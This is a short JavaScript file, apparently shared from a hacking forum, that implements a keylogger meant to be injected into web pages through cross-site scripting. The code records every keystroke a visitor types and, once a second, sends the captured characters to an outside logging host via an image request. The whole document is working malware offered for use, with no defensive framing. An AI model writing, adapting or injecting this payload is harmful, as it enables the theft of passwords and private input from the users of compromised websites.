xss_keylogger.js

/*
keylogger.js
http://www.hackforums.net/showthread.php?tid=2540448
tux1

Thanks to
http://wiremask.eu
*/

var keys='';
document.onkeypress = function(e) {
    get = window.event?event:e;
    key = get.keyCode?get.keyCode:get.charCode;
    key = String.fromCharCode(key);
    keys+=key;
}
window.setInterval(function(){
    new Image().src = 'http://yourwebsite.com/logger.php?c='+keys;
    keys = '';
}, 1000);